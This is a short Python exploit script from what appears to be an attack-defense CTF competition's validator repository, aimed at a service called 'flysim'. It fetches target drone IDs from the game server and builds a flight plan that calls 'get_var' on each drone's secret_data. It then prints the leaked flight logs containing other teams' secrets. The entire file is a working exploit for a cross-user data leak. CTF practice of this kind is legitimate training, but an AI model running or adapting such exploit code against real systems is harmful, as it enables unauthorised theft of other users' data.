Files
validator/ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py

23 lines
654 B
Python
Executable File

#!/usr/bin/env python3
import requests
import sys
import drone_client
import time
import json
IP = sys.argv[1]
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
IP
]
fp = "\n".join([f"0 get_var {d} secret_data" for d in drone_ids])
client = drone_client.DroneClient(ip=IP)
client.create_drone(label="qweqwe11", secret_data="qweqwe", flight_plan=fp)
client.connect_to_drone()
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
print(drone_obj_with_secret["flight_log"], flush=True)
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
print(drone_obj_with_secret["flight_log"], flush=True)